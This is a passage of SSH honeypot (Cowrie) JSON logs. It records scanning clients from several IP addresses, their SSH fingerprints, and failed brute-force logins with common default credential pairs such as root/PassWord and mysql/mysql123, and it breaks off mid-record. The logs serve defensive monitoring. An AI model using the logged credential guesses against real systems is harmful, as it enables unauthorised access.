{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:45.635750Z","src_ip":"163.7.9.84","session":"57b171b81197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:45.879106Z","src_ip":"163.7.9.84","session":"57b171b81197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PassWord","message":"login attempt [root/PassWord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:46.881319Z","src_ip":"163.7.9.84","session":"57b171b81197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:48.129053Z","src_ip":"163.7.9.84","session":"57b171b81197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":44918,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cc453250316","protocol":"ssh","message":"New connection: 101.109.219.135:44918 (10.17.0.5:22) [session: 7cc453250316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:50.647622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:50.651956Z","src_ip":"101.109.219.135","session":"7cc453250316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:50.913604Z","src_ip":"101.109.219.135","session":"7cc453250316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46864,"dst_ip":"10.17.0.5","dst_port":22,"session":"c03c6229e1f6","protocol":"ssh","message":"New connection: 43.163.119.215:46864 (10.17.0.5:22) [session: c03c6229e1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:51.391451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:51.395671Z","src_ip":"43.163.119.215","session":"c03c6229e1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:51.633037Z","src_ip":"43.163.119.215","session":"c03c6229e1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranger","message":"login attempt [root/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:51.991380Z","src_ip":"101.109.219.135","session":"7cc453250316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:52.346376Z","src_ip":"43.163.119.215","session":"c03c6229e1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:53.254833Z","src_ip":"101.109.219.135","session":"7cc453250316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:53.586600Z","src_ip":"43.163.119.215","session":"c03c6229e1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52538,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad580d83816","protocol":"ssh","message":"New connection: 43.163.119.215:52538 (10.17.0.5:22) [session: 9ad580d83816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:56.109999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:56.114365Z","src_ip":"43.163.119.215","session":"9ad580d83816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:56.352204Z","src_ip":"43.163.119.215","session":"9ad580d83816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:57.122606Z","src_ip":"43.163.119.215","session":"9ad580d83816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:58.363336Z","src_ip":"43.163.119.215","session":"9ad580d83816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":53626,"dst_ip":"159.203.135.109","dst_port":22,"session":"86e65f441a98","protocol":"ssh","message":"New connection: 154.83.196.237:53626 (159.203.135.109:22) [session: 86e65f441a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:58.744429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:58.748846Z","src_ip":"154.83.196.237","session":"86e65f441a98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:58.875201Z","src_ip":"154.83.196.237","session":"86e65f441a98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carcass","message":"login attempt [root/carcass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:07:59.386247Z","src_ip":"154.83.196.237","session":"86e65f441a98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:00.509341Z","src_ip":"154.83.196.237","session":"86e65f441a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59356,"dst_ip":"159.203.135.109","dst_port":22,"session":"f330273f73d9","protocol":"ssh","message":"New connection: 103.75.199.4:59356 (159.203.135.109:22) [session: f330273f73d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:02.799413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:02.806492Z","src_ip":"103.75.199.4","session":"f330273f73d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:02.905570Z","src_ip":"103.75.199.4","session":"f330273f73d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:03.196670Z","src_ip":"103.75.199.4","session":"f330273f73d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:04.296439Z","src_ip":"103.75.199.4","session":"f330273f73d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52794,"dst_ip":"10.17.0.5","dst_port":22,"session":"79151efa1305","protocol":"ssh","message":"New connection: 43.163.119.215:52794 (10.17.0.5:22) [session: 79151efa1305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:06.605342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:06.610001Z","src_ip":"43.163.119.215","session":"79151efa1305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:06.850960Z","src_ip":"43.163.119.215","session":"79151efa1305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:07.565116Z","src_ip":"43.163.119.215","session":"79151efa1305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:08.805297Z","src_ip":"43.163.119.215","session":"79151efa1305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":43830,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aaff4b5eb59","protocol":"ssh","message":"New connection: 43.163.119.215:43830 (10.17.0.5:22) [session: 7aaff4b5eb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:13.448291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:13.453116Z","src_ip":"43.163.119.215","session":"7aaff4b5eb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:13.691024Z","src_ip":"43.163.119.215","session":"7aaff4b5eb59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:14.404723Z","src_ip":"43.163.119.215","session":"7aaff4b5eb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:15.645231Z","src_ip":"43.163.119.215","session":"7aaff4b5eb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":52778,"dst_ip":"10.17.0.5","dst_port":22,"session":"d76b68cba827","protocol":"ssh","message":"New connection: 43.163.119.215:52778 (10.17.0.5:22) [session: d76b68cba827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:16.589015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:08:16.593432Z","src_ip":"43.163.119.215","session":"d76b68cba827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 